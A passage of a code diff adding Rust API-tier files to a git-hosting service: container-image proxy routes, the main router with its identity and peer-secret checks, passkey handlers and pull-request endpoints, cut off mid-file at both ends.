fit `split_api_path`'s three-segment shape. No caching either — unlike a repo's browse routes, +/// there is no single visibility flag to key a cache entry on; the answer is small and per-team. +pub(crate) async fn images_proxy( + State(api): State>, + axum::extract::Path(owner): axum::extract::Path, + headers: HeaderMap, +) -> Response { + if !crate::store::valid_segment(&owner) { + return not_found(); + } + let caller = match browse_caller(&api, &headers, &owner).await { + Ok(c) => c, + Err(r) => return r, + }; + // A team's images are never a stranger's business, and there is no "public team" concept — + // unlike a repo, which can admit an anonymous reader. Only a verified member of `owner` passes. + let anonymous = caller.is_none(); + let Some(who) = caller.filter(|c| c == &owner) else { + return if anonymous { unauthorized() } else { not_found() }; + }; + let url = format!("{}/api/{}/images", api.upstream, encode(&owner)); + let r = match api + .client + .get(url) + .header(crate::proxy::PEER_HEADER, &api.secret) + .header(crate::proxy::OWNER_HEADER, &who) + .send() + .await + { + Ok(r) => r, + Err(e) => { + tracing::error!(error = %e, "upstream"); + return (StatusCode::BAD_GATEWAY, "upstream error").into_response(); + } + }; + let status = StatusCode::from_u16(r.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY); + let body = match read_bounded(r).await { + Ok(b) => b, + Err(e) => { + tracing::error!(error = %e, "upstream body"); + return (StatusCode::BAD_GATEWAY, "upstream error").into_response(); + } + }; + (status, [(header::CONTENT_TYPE, "application/json")], body).into_response() +} + +/// `POST /api/{owner}/{image}/imagetagdelete` — proxied by hand for the same reason +/// `images_proxy` is: it is a write, and the fallback below only ever forwards a GET. +/// +/// The body (the tag name) is forwarded verbatim to the node that owns the image's database. +pub(crate) async fn imagetagdelete_proxy( + State(api): State>, + axum::extract::Path((owner, image)): axum::extract::Path<(String, String)>, + headers: HeaderMap, + body: axum::body::Bytes, +) -> Response { + image_write_proxy(&api, &owner, &image, "imagetagdelete", &headers, Some(body), None).await +} + +/// `POST /api/{owner}/{image}/imagedelete` — same shape as `imagetagdelete_proxy`, no body. +pub(crate) async fn imagedelete_proxy( + State(api): State>, + axum::extract::Path((owner, image)): axum::extract::Path<(String, String)>, + headers: HeaderMap, +) -> Response { + image_write_proxy(&api, &owner, &image, "imagedelete", &headers, None, None).await +} + +/// `POST /api/{owner}/{image}/imagevisibility?visibility=public|private`. +/// +/// The visibility value is PARSED here and re-emitted, so only `public` or `private` ever reaches +/// upstream — the node would reject anything else anyway, but a 400 belongs where the caller can +/// read it. +pub(crate) async fn imagevisibility_proxy( + State(api): State>, + axum::extract::Path((owner, image)): axum::extract::Path<(String, String)>, + axum::extract::Query(q): axum::extract::Query>, + headers: HeaderMap, +) -> Response { + let visibility = match q.get("visibility").map(String::as_str) { + Some("public") => "public", + Some("private") => "private", + _ => return (StatusCode::BAD_REQUEST, "visibility must be public or private").into_response(), + }; + image_write_proxy(&api, &owner, &image, "imagevisibility", &headers, None, + Some(&format!("visibility={visibility}"))).await +} + +/// Shared by both image writes: authorize the caller as exactly `owner` (an image, like a team's +/// image list, is never a stranger's business — there is no public-image concept to fall back on), +/// then forward to the upstream node the same way `images_proxy` reads from it. +pub(crate) async fn image_write_proxy( + api: &Api, + owner: &str, + image: &str, + tail: &str, + headers: &HeaderMap, + body: Option, + // Rebuilt from the parsed value, never forwarded raw: the upstream route reads + // `?visibility=`, and passing a caller-supplied string through unchecked is how a query + // becomes a second parser. `None` for the tails that take no query. + query: Option<&str>, +) -> Response { + if !crate::store::valid_segment(owner) || !crate::store::valid_segment(image) { + return not_found(); + } + let caller = match browse_caller(api, headers, owner).await { + Ok(c) => c, + Err(r) => return r, + }; + let anonymous = caller.is_none(); + let Some(who) = caller.filter(|c| c == owner) else { + return if anonymous { unauthorized() } else { not_found() }; + }; + let url = match query { + Some(q) => format!("{}/api/{}/{}/{tail}?{q}", api.upstream, encode(owner), encode(image)), + None => format!("{}/api/{}/{}/{tail}", api.upstream, encode(owner), encode(image)), + }; + let mut up = api + .client + .post(url) + .header(crate::proxy::PEER_HEADER, &api.secret) + .header(crate::proxy::OWNER_HEADER, &who); + if let Some(b) = body { + up = up.body(b); + } + let r = match up.send().await { + Ok(r) => r, + Err(e) => { + tracing::error!(error = %e, "upstream"); + return (StatusCode::BAD_GATEWAY, "upstream error").into_response(); + } + }; + let status = StatusCode::from_u16(r.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY); + match read_bounded(r).await { + Ok(body) => (status, body).into_response(), + Err(e) => { + tracing::error!(error = %e, "upstream body"); + (StatusCode::BAD_GATEWAY, "upstream error").into_response() + } + } +} diff --git a/crates/api/src/lib.rs b/crates/api/src/lib.rs new file mode 100644 index 00000000..646305a5 --- /dev/null +++ b/crates/api/src/lib.rs @@ -0,0 +1,432 @@ +//! The read API's own process. It holds no repository state: it authenticates, consults the +//! cache, and on a miss asks the git fleet, whose routing already knows which node owns what. +//! +//! Browse routes live on the git nodes' PEER listener only, so `upstream` is the peer Service and +//! every forwarded request carries the peer secret plus, when the caller is authenticated, the +//! owner header — exactly the identity a forwarding node presents, so upstream authorizes this +//! the way it authorizes a peer. + +// `Result` is the handler idiom here: the Err is an early-return response, +// unwrapped exactly once per request by `?`. Boxing it to please the size lint would add an +// allocation per refusal for no measurable gain. +#![allow(clippy::result_large_err)] + +pub(crate) use rustic_git_core::{err, hex, jwt, Result}; +pub(crate) use rustic_git_storage::{cache, events, index, ownership, store}; +pub(crate) use rustic_git_pulls::directory; +// The pure header helpers (`scheme`, `user_names`, `authorize`) live in `storage::auth`; the +// `axum`-dependent ones (`bearer_token`, `basic_token`, `basic_user_names`, `unauthorized`) moved +// to `core::httpx` because both this crate and `registry` need them and neither may depend on the +// other. One local module keeps every `crate::auth::…` call site unchanged. +pub(crate) mod auth { + pub use rustic_git_core::httpx::{basic_token, basic_user_names, bearer_token, unauthorized}; + pub use rustic_git_storage::auth::*; +} +// `proxy::{PEER_HEADER, OWNER_HEADER, secret_eq}` — the peer-forwarding header names and +// constant-time compare live in `rustic_git_core::peer` (the axum/reqwest-heavy forwarder itself +// stays in the `git` crate, which this crate does not depend on). Aliased to keep every call +// site (`crate::proxy::...`) unchanged. +pub(crate) use rustic_git_core::peer as proxy; + +pub mod gpg; + +use crate::cache::Cache; +use crate::events::Kind; +use crate::store::Store; +use axum::{ + extract::{Request, State}, + http::{header, HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Router, +}; +use std::sync::Arc; + +mod browse; +mod credentials; +mod feed; +mod forward; +mod images; +mod passkeys; +mod pulls; +mod repos; +mod signatures; +mod teams; + +use browse::*; +use credentials::*; +/// Task 3's workspace `authorized_keys` writer reads this; nothing else here needs it public. +pub use credentials::{authorized_keys_for, git_identity_for}; +use feed::*; +use forward::*; +pub use forward::read_bounded; +use images::*; +use passkeys::*; +use pulls::*; +use repos::*; +use signatures::*; +use teams::*; + + +/// How long each kind of answer is kept. Only `refs` can go stale; the rest are keyed by an +/// object id and are true forever, so their TTL is an eviction hint rather than a correctness one. +const TTL_REFS: u64 = 5; +const TTL_IMMUTABLE: u64 = 7 * 24 * 3600; +const TTL_META: u64 = 30; +const MAX_CACHED_BODY: usize = 1 << 20; +/// Hard ceiling on what is read from a git node. `MAX_CACHED_BODY` gates only what is KEPT; a +/// reply is buffered whole before it is answered, so without this one bad node is the same memory +/// cliff the push path hit. Comfortably above the largest browse answer (a 1 MiB inline blob). +/// Hand-synced twin in `bins/server/src/boot.rs` (`post_to_owner`) — mirror any change there. +const MAX_BODY: usize = 8 << 20; +/// A hanging git node must not hang every api request. `proxy::LEADER_TIMEOUT` is the precedent; +/// browse answers come off an already-open odb, so they are not slower than a lease call. +/// Hand-synced twin in `bins/server/src/boot.rs` — mirror any change there. +pub const UPSTREAM_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(15); + +/// The visibility flag, cached apart from the answers it guards: it is what lets a hit be served +/// without asking a git node who may read this repo. +/// `%` is always escaped in a suffix, so `%00` is a byte sequence no path can produce: the +/// visibility flag can never collide with a cached answer (`/api/o/n/meta` would otherwise key on +/// exactly this). +pub const META: &str = "%00meta"; + +/// Called after an ssh key is added or removed, with the owner whose keys changed. Boxed and +/// dyn because the thing it does — rewriting Secrets in a Kubernetes namespace — lives two crates +/// away in `rustic-git-workspaces`, and this crate must not depend on kube to hand it a name. +pub type KeysChanged = Arc< + dyn Fn(String) -> std::pin::Pin + Send>> + Send + Sync, +>; + +pub struct Api { + pub store: Arc, + pub cache: Arc, + /// `None` when no database is configured: the browse routes still answer, and + /// only the team routes report that they are unavailable. A missing database + /// must not take down reads that never needed it. + pub directory: Option>, + /// Mints and verifies identity tokens. `None` leaves only the peer-header + /// path, which is enough for internal calls but cannot issue a session. + pub jwt: Option>, + /// Base URL of the git peer Service, e.g. `http://rustic-git:8081`. + pub upstream: String, + pub secret: String, + pub client: reqwest::Client, + /// Device codes waiting to be approved, by code. Nothing durable is at stake: an + /// unapproved code is worth nothing and a lost one is re-issued by running `kl login` + /// again. + // ponytail: per replica; a second api replica will not see this code — pin /v1/cli/* to one + // replica via session affinity, or move to the directory, when there is a second replica + /// `None` outside the api binary (and in dev without a cluster): the key rows are still the + /// record, and every workspace picks the change up the next time its Secret is written. + pub on_keys_changed: Option, +} + +#[allow(clippy::too_many_arguments)] +pub async fn serve( + store: Arc, + cache: Arc, + directory: Option>, + jwt: Option>, + upstream: String, + secret: String, + listener: tokio::net::TcpListener, + workspaces: Option>, + on_keys_changed: Option, +) -> Result<()> { + // Refuse to boot rather than serve `caller`'s empty-secret guard as the only defense — + // an empty secret is a misconfiguration, not a valid deployment. + if secret.is_empty() { + return Err(crate::err("api peer secret must not be empty")); + } + let api = Arc::new(Api { + store, + cache, + directory, + jwt, + upstream: upstream.trim_end_matches('/').to_string(), + secret, + client: reqwest::Client::builder() + .timeout(UPSTREAM_TIMEOUT) + .build() + // A default client has NO timeout, which silently undid `UPSTREAM_TIMEOUT`. + .expect("building an HTTP client cannot fail with these options"), + on_keys_changed, + }); + let app = Router::new() + // Ahead of the fallback: `/healthz` is not a repo path and must never reach `handle`, + // which would treat it as `/api/{owner}/{name}/...` and 404. + .route("/healthz", axum::routing::get(|| async { StatusCode::OK })) + // Owner-scoped, not repo-scoped: two segments, not the three `handle`'s + // `split_api_path` requires. Registered ahead of the fallback so it is matched + // before `handle` ever sees it and refuses it as too short. + .route("/api/{owner}/images", axum::routing::get(images_proxy)) + // Both writes on an image, same shape as `images_proxy`: registered ahead of the GET-only + // fallback because they are POSTs, and hand-written because the caller check is "is this + // exact owner", not the read-side `authorize` a repo's visibility flag drives. + .route( + "/api/{owner}/{image}/imagetagdelete", + axum::routing::post(imagetagdelete_proxy), + ) + .route("/api/{owner}/{image}/imagedelete", axum::routing::post(imagedelete_proxy)) + .route("/api/{owner}/{image}/imagevisibility", axum::routing::post(imagevisibility_proxy)) + // Team routes sit under /v1/, which `api_route` never parses, so they can + // never collide with a repo path. Registered before the fallback because + // the fallback is GET-only and would swallow the POST as a 405. + .route("/v1/teams", axum::routing::post(create_team).get(list_teams)) + // Anonymous on purpose: the public face of a team. The handler itself refuses a team + // that has not opted in, so registering it without `caller` is not a hole. + .route("/v1/teams/{slug}/profile", axum::routing::get(team_profile)) + .route( + "/v1/teams/{slug}", + axum::routing::get(get_team).patch(update_team).delete(delete_team), + ) + .route( + "/v1/teams/{slug}/members/{email}", + axum::routing::patch(set_role).delete(remove_member), + ) + // Joining is by invitation only. The raw token travels in the email and the accept + // URL; the api stores its hash, so `/v1/invites/{token}` is the only place it is + // ever presented back. + .route("/v1/teams/{slug}/invites", axum::routing::post(create_invite)) + .route("/v1/teams/{slug}/invites/{id}", axum::routing::delete(revoke_invite)) + .route("/v1/invites/{token}", axum::routing::get(preview_invite)) + .route("/v1/invites/{token}/accept", axum::routing::post(accept_invite)) + // Magic-link sign-in: mint, then redeem. Peer-only, like /v1/users — no session + // exists yet, and none may be used to mint one. + .route("/v1/signin/email", axum::routing::post(create_signin_link)) + .route("/v1/signin/email/{token}", axum::routing::post(redeem_signin_link)) + // Sign-in calls this. It is an upsert, not a create: the web app cannot + // know whether this is someone's first visit, and should not have to. + .route("/v1/users", axum::routing::post(upsert_user)) + // Picking a handle. Separate from sign-in because it happens once, later, + // and can fail in a way sign-in must not: the handle may be taken. + .route("/v1/users/username", axum::routing::post(claim_username)) + // Creating a repo. The api tier owns the question the git fleet cannot + // answer — whether this person may create under this owner — and then + // forwards to the node that will serve the repo. + .route("/v1/repos", axum::routing::post(create_repo).get(list_repos)) + // A repo's own settings. `{owner}/{name}` rather than a flat id so the + // path reads as the repo it is about. + .route( + "/v1/repos/{owner}/{name}", + axum::routing::patch(update_repo).delete(delete_repo).get(get_repo), + ) + .route( + "/v1/repos/{owner}/{name}/protection", + axum::routing::get(list_protection).post(set_protection), + ) + // Pull requests. The metadata is this tier's; the commits, the diff and + // the merge itself are the fleet's. + .route( + "/v1/repos/{owner}/{name}/pulls", + axum::routing::get(list_pulls).post(open_pull), + ) + .route("/v1/repos/{owner}/{name}/pulls/{number}", axum::routing::get(get_pull)) + .route( + "/v1/repos/{owner}/{name}/pulls/{number}/comments", + axum::routing::post(comment_on_pull), + ) + .route("/v1/repos/{owner}/{name}/pulls/{number}/merge", axum::routing::post(merge_pull)) + .route("/v1/repos/{owner}/{name}/commits", axum::routing::post(commit_patch)) + .route("/v1/activity", axum::routing::get(activity)) + .route("/v1/repos/{owner}/{name}/pulls/{number}/close", axum::routing::post(close_pull)) + .route("/v1/repos/{owner}/{name}/compare", axum::routing::get(compare_branches)) + .route( + "/v1/repos/{owner}/{name}/commits/{sha}/signature", + axum::routing::get(verify_commit), + ) + // Credentials: what a person uses to clone and push. The secret is written + // to the object store the fleet authenticates against; only its metadata + // is recorded here, so this is the one place that can list or revoke. + .route("/v1/tokens", axum::routing::post(create_token).get(list_tokens)) + .route("/v1/tokens/{id}", axum::routing::delete(revoke_token)) + .route("/v1/keys", axum::routing::post(add_key).get(list_keys)) + .route("/v1/keys/{id}", axum::routing::delete(remove_key)) + // The CLI login handshake. `code` is anonymous on purpose — it is what a machine with + // no credentials asks for; nothing it returns is usable until a signed-in person + // approves that code in the browser. + .route("/v1/cli/code", axum::routing::post(cli_code)) + // Session-gated: the approval page reads it so it can name the DEVICE that is asking + // before offering the button. Under `/code/` rather than beside it so the anonymous POST + // and this stay one prefix apart from `/tokens`. + .route("/v1/cli/code/{code}", axum::routing::get(cli_pending_code)) + .route("/v1/cli/approve", axum::routing::post(cli_approve)) + .route("/v1/cli/token", axum::routing::get(cli_token)) + .route("/v1/cli/tokens", axum::routing::get(list_cli_tokens)) + .route("/v1/cli/tokens/{id}", axum::routing::delete(revoke_cli_token)) + // The platform-issued key, distinct from /v1/keys (which the user supplies). POST is a + // rotation, not a create: there is at most one, and regenerating revokes the old. + .route( + "/v1/platform-key", + axum::routing::get(platform_key).post(regenerate_platform_key), + ) + // Passkeys. Registration and listing are the signed-in person's; the + // lookup is not — a sign-in has no session yet, which is the point. + .route("/v1/passkeys", axum::routing::post(add_passkey).get(list_passkeys)) + .route("/v1/passkeys/{id}", axum::routing::delete(remove_passkey)) + .route("/v1/passkeys/lookup", axum::routing::post(lookup_passkey)) + .route("/v1/passkeys/{id}/used", axum::routing::post(passkey_used)) + // GET only. These are read-only views, and forwarding a POST as a GET (which is what + // `any` did) would let a method the fleet never sees drive the cache. + .fallback(axum::routing::get(handle)) + .layer(tower_http::compression::CompressionLayer::new()) + .layer(axum::middleware::from_fn_with_state("api", rustic_git_core::metrics::http_metrics)) + .with_state(api); + // Workspaces/environments/regions: a separate crate, a separate `MetaStore`, a separate + // router state — merged in rather than folded into `Api` so that crate stays independent of + // this one's git-repo machinery. Only mounted when a jwt signer is configured, same + // precondition the routes' bearer-token auth already requires. + let app = match workspaces { + Some(ws) => app.merge(rustic_git_workspaces::api::router(ws)), + None => app, + }; + axum::serve(listener, app).await?; + Ok(()) +} + +/// Who is asking, resolved once. `name` is `Some` only for a session token — the peer path +/// asserts an email and nothing more. +pub(crate) struct Identity { + pub email: String, + pub name: Option, + /// The handle they picked, when the token carries one. Only a signed token has it; the + /// peer path asserts an email and nothing more. + pub username: Option, +} + +/// Who is asking. +/// +/// A signed token first: it proves the identity by itself, so no trust in the +/// caller is required. The peer secret plus an asserted identity is the fallback +/// for service-to-service calls that have no user token yet — notably sign-in, +/// which is where a token comes FROM. +/// +/// Verified ONCE per request: a handler that needs the display name as well as the email takes +/// the whole `Identity` rather than paying for a second HMAC over the same token. +pub(crate) fn identify(api: &Api, headers: &axum::http::HeaderMap) -> std::result::Result { + if let Some(bearer) = crate::auth::bearer_token(headers) { + let jwt = api + .jwt + .as_deref() + .ok_or_else(|| (StatusCode::SERVICE_UNAVAILABLE, "tokens not configured").into_response())?; + return match jwt.verify(bearer.trim()) { + Ok(c) => Ok(Identity { email: c.sub, name: Some(c.name), username: c.username }), + // Never say which of signature, algorithm or expiry failed. + Err(_) => Err((StatusCode::UNAUTHORIZED, "invalid or expired token").into_response()), + }; + } + peer_only(api, headers).map(|email| Identity { email, name: None, username: None }) +} + +/// `identify`, but a CLI login counts too. +/// +/// Deliberately not folded into `identify`: a CLI token is revocable, and the ONLY thing that +/// makes that revocation real is the directory lookup below. A route that has not paid for that +/// lookup must keep refusing CLI tokens, or a revoked 30-day token would keep working there. +pub(crate) async fn user_identity( + api: &Api, + headers: &axum::http::HeaderMap, +) -> std::result::Result { + let Some(bearer) = crate::auth::bearer_token(headers) else { + return identify(api, headers); + }; + let jwt = api + .jwt + .as_deref() + .ok_or_else(|| (StatusCode::SERVICE_UNAVAILABLE, "tokens not configured").into_response())?; + let unauthorized = || (StatusCode::UNAUTHORIZED, "invalid or expired token").into_response(); + let (c, jti) = jwt.verify_any_user(bearer.trim()).map_err(|_| unauthorized())?; + if let Some(jti) = jti { + // The row IS the revocation list: `DELETE /v1/cli/tokens/{id}` removes it, and a `cli` + // token whose row is gone authenticates nothing until it expires on its own. + match directory(api)?.credential(&jti).await { + Ok(Some(row)) if row.kind == crate::directory::CredentialKind::CliToken => {} + Ok(_) => return Err((StatusCode::UNAUTHORIZED, "this CLI login was revoked").into_response()), + Err(e) => { + tracing::error!(error = %e, "cli token lookup"); + return Err((StatusCode::BAD_GATEWAY, "could not check the login").into_response()); + } + } + } + Ok(Identity { email: c.sub, name: Some(c.name), username: c.username }) +} + +/// `identify`, for the many callers that only need the email. +pub(crate) fn caller(api: &Api, headers: &axum::http::HeaderMap) -> std::result::Result { + identify(api, headers).map(|i| i.email) +} + +/// The peer half of `caller`, on its own: the peer secret plus the identity the peer asserts, +/// and NO Bearer path. For the routes that mint or precede a session — sign-in, passkey lookup, +/// the passkey counter — a session must not be enough, or a leaked token renews itself forever +/// and any signed-in person can read or corrupt another's passkey. A Bearer header is simply not +/// looked at here: a caller that also presents the peer secret is the web app, and it is the +/// secret that admits it. +pub(crate) fn peer_only(api: &Api, headers: &axum::http::HeaderMap) -> std::result::Result { + let peer = headers + .get(crate::proxy::PEER_HEADER) + .and_then(|v| v.to_str().ok()) + .unwrap_or_default(); + if !crate::proxy::secret_eq(peer, &api.secret) { + return Err((StatusCode::UNAUTHORIZED, "peer secret required").into_response()); + } + match headers.get(crate::proxy::OWNER_HEADER).and_then(|v| v.to_str().ok()) { + Some(u) if !u.trim().is_empty() => Ok(u.trim().to_string()), + _ => Err((StatusCode::BAD_REQUEST, "caller identity required").into_response()), + } +} + +pub(crate) fn directory(api: &Api) -> std::result::Result<&crate::directory::Directory, Response> { + api.directory + .as_deref() + .ok_or_else(|| (StatusCode::SERVICE_UNAVAILABLE, "teams database not configured").into_response()) +} + +#[cfg(test)] +pub(crate) mod testing { + use super::*; + /// Minimal `Api` for tests that only exercise header/secret logic — an in-memory + /// store and cache so no real infra is needed to build the struct. + pub(crate) async fn test_api_with_secret(secret: &str) -> Api { + let os: Arc = + Arc::new(slatedb::object_store::memory::InMemory::new()); + let store = Store::open(os, std::env::temp_dir(), false).await.unwrap(); + Api { + store: Arc::new(store), + cache: Arc::new(Cache::memory()), + directory: None, + jwt: None, + upstream: String::new(), + secret: secret.to_string(), + client: reqwest::Client::new(), + on_keys_changed: None, + } + } + + pub(crate) fn test_marker(name: &str, public: bool) -> crate::index::Marker { + crate::index::Marker { + name: name.into(), + public, + created_by: "alice@example.com".into(), + created_ms: 1_700_000_000_000, + description: format!("the {name} repo"), + manifests: 0, + updated_ms: 0, + } + } +} + +#[cfg(test)] +mod tests { + use super::testing::*; + use super::*; + + #[tokio::test] + async fn empty_peer_secret_never_authenticates() { + let api = test_api_with_secret("").await; + let mut h = axum::http::HeaderMap::new(); + h.insert(crate::proxy::PEER_HEADER, "".parse().unwrap()); + h.insert(crate::proxy::OWNER_HEADER, "alice".parse().unwrap()); + assert!(caller(&api, &h).is_err()); + } +} diff --git a/crates/api/src/passkeys.rs b/crates/api/src/passkeys.rs new file mode 100644 index 00000000..0b0b9465 --- /dev/null +++ b/crates/api/src/passkeys.rs @@ -0,0 +1,174 @@ +use super::*; + +// ── passkeys ──────────────────────────────────────────────────────────────── +// +// WebAuthn is verified by the web app, which holds the relying-party identity and +// the challenge. This tier stores what verification needs — a public key and a +// counter — and answers the one question a sign-in asks before it knows who is +// signing in: whose credential is this? + +use crate::directory::Passkey; + +#[derive(serde::Deserialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct NewPasskey { + id: String, + public_key: String, + #[serde(default)] + counter: i64, + #[serde(default)] + transports: Vec, + #[serde(default)] + name: String, +} + +pub(crate) async fn add_passkey( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + if body.id.trim().is_empty() || body.public_key.trim().is_empty() { + return (StatusCode::BAD_REQUEST, "a credential id and public key are required").into_response(); + } + let name = match body.name.trim() { + "" => "Passkey".to_string(), + n => n.chars().take(60).collect(), + }; + let key = Passkey { + id: body.id.trim().to_string(), + user: user.to_lowercase(), + public_key: body.public_key.trim().to_string(), + counter: body.counter, + transports: body.transports, + name, + created_at: mongodb::bson::DateTime::now(), + }; + match db.add_passkey(&key).await { + Ok(Some(())) => (StatusCode::CREATED, axum::Json(key)).into_response(), + Ok(None) => (StatusCode::CONFLICT, "that passkey is already registered").into_response(), + Err(e) => { + tracing::error!(error = %e, "add passkey"); + (StatusCode::BAD_GATEWAY, "could not add the passkey").into_response() + } + } +} + +pub(crate) async fn list_passkeys(State(api): State>, headers: axum::http::HeaderMap) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.passkeys_for(&user).await { + Ok(list) => axum::Json(list).into_response(), + Err(e) => { + tracing::error!(error = %e, "list passkeys"); + (StatusCode::BAD_GATEWAY, "could not list passkeys").into_response() + } + } +} + +pub(crate) async fn remove_passkey( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(id): axum::extract::Path, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + // Owned by the caller, or it does not exist as far as they are concerned. + match db.passkey(&id).await { + Ok(Some(p)) if p.user.eq_ignore_ascii_case(&user) => {} + Ok(_) => return (StatusCode::NOT_FOUND, "no such passkey").into_response(), + Err(e) => { + tracing::error!(error = %e, "passkey lookup"); + return (StatusCode::BAD_GATEWAY, "could not remove the passkey").into_response(); + } + } + match db.forget_passkey(&id).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => { + tracing::error!(error = %e, "remove passkey"); + (StatusCode::BAD_GATEWAY, "could not remove the passkey").into_response() + } + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct PasskeyLookup { + id: String, +} + +/// Whose passkey is this, and what verifies it? +/// +/// PEER ONLY, enforced by `peer_only` rather than merely documented: it is called during +/// sign-in, when there is no session yet, and a session must not be enough — a credential id +/// maps to an email and a public key, which is another person's to keep. Only the web app, +/// holding the peer secret, can ask. +pub(crate) async fn lookup_passkey( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + if let Err(r) = peer_only(&api, &headers) { + return r; + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.passkey(body.id.trim()).await { + Ok(Some(p)) => axum::Json(p).into_response(), + Ok(None) => (StatusCode::NOT_FOUND, "no such passkey").into_response(), + Err(e) => { + tracing::error!(error = %e, "passkey lookup"); + (StatusCode::BAD_GATEWAY, "could not look up the passkey").into_response() + } + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct PasskeyUsed { + counter: i64, +} + +/// Record the counter after a successful sign-in. Same peer-only reasoning as the +/// lookup: it happens before a session exists. +pub(crate) async fn passkey_used( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(id): axum::extract::Path, + axum::Json(body): axum::Json, +) -> Response { + if let Err(r) = peer_only(&api, &headers) { + return r; + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.advance_passkey(&id, body.counter).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => { + tracing::error!(error = %e, "passkey counter"); + (StatusCode::BAD_GATEWAY, "could not record the sign-in").into_response() + } + } +} + diff --git a/crates/api/src/pulls.rs b/crates/api/src/pulls.rs new file mode 100644 index 00000000..b5c3a064 --- /dev/null +++ b/crates/api/src/pulls.rs @@ -0,0 +1,207 @@ +use super::*; + +// ── pull requests ─────────────────────────────────────────────────────────── +// +// A PR is metadata pointing at two BRANCHES. It stores no commits and no diff: +// those are computed from the refs on every read, so a push to the branch updates +// what the PR contains — which is what review is. Storing a snapshot would mean a +// PR that can disagree with the code it claims to be about. + + +pub(crate) async fn open_pull( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, + axum::Json(mut body): axum::Json, +) -> Response { + let (who, _) = match settings_caller(&api, &headers, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + // The author is WHO IS SIGNED IN, never what the request said — the owning node has no idea + // who the caller is, so a body that could name its own author would let anyone open a change + // as somebody else. Everything else is passed through as handed to us. + let Some(obj) = body.as_object_mut() else { + return (StatusCode::BAD_REQUEST, "expected an object").into_response(); + }; + obj.insert("author".into(), serde_json::Value::String(who.email)); + tell_owner(&api, &owner, format!("/api/{}/{}/pulls", encode(&owner), encode(&name)), body).await +} + +pub(crate) async fn list_pulls( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + // Only the two the owning node reads: anything else the browser sent is dropped rather than + // forwarded into a URL on a node that never asked for it. + let qs = { + let mut qs = form_urlencoded::Serializer::new(String::new()); + for k in ["state", "limit"] { + if let Some(v) = q.get(k) { + qs.append_pair(k, v); + } + } + qs.finish() + }; + let sep = if qs.is_empty() { "" } else { "?" }; + let path = format!("/api/{}/{}/pulls{sep}{qs}", encode(&owner), encode(&name)); + read_from_owner(&api, &owner, path).await +} + +pub(crate) async fn get_pull( + State(api): State>, + axum::extract::Path((owner, name, number)): axum::extract::Path<(String, String, i64)>, + headers: axum::http::HeaderMap, +) -> Response { + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + read_from_owner( + &api, + &owner, + format!("/api/{}/{}/pulls/{number}", encode(&owner), encode(&name)), + ) + .await +} + +pub(crate) async fn comment_on_pull( + State(api): State>, + axum::extract::Path((owner, name, number)): axum::extract::Path<(String, String, i64)>, + headers: axum::http::HeaderMap, + axum::Json(mut body): axum::Json, +) -> Response { + let (who, _) = match settings_caller(&api, &headers, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + // Same reason as `open_pull`: the signed-in caller names the author, not the body. + let Some(obj) = body.as_object_mut() else { + return (StatusCode::BAD_REQUEST, "expected an object").into_response(); + }; + obj.insert("author".into(), serde_json::Value::String(who.email)); + tell_owner( + &api, + &owner, + format!("/api/{}/{}/pulls/{number}/comments", encode(&owner), encode(&name)), + body, + ) + .await +} + +/// What a branch would bring to another. Straight through to the owning node — +/// this is a read of git, not of the directory. +pub(crate) async fn compare_branches( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + let (Some(base), Some(head)) = (q.get("base"), q.get("head")) else { + return (StatusCode::BAD_REQUEST, "base and head are required").into_response(); + }; + read_from_owner( + &api, + &owner, + format!( + "/api/{}/{}/compare?base={}&head={}", + encode(&owner), + encode(&name), + encode(base), + encode(head) + ), + ) + .await +} + +/// Ask for the change to be merged. +/// +/// Answers 202, not 200: the merge is a JOB. It can be slow — a three-way merge +/// on a large tree is real work — and running it inside this request would hold a +/// connection open on a git node that is also serving clones. The worker picks it +/// up; the PR reports where it got to. +pub(crate) async fn merge_pull( + State(api): State>, + axum::extract::Path((owner, name, number)): axum::extract::Path<(String, String, i64)>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let (who, _) = match settings_caller(&api, &headers, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + let strategy = match q.get("strategy").map(String::as_str).unwrap_or("fast-forward") { + s @ ("fast-forward" | "squash" | "merge" | "rebase") => s, + _ => { + return ( + StatusCode::BAD_REQUEST, + "strategy must be fast-forward, squash, merge or rebase", + ) + .into_response() + } + }; + + // Forwarded like the close beneath it: the change lives in the repo's own database, and the + // node publishes the event. 202, not 200 — the merge 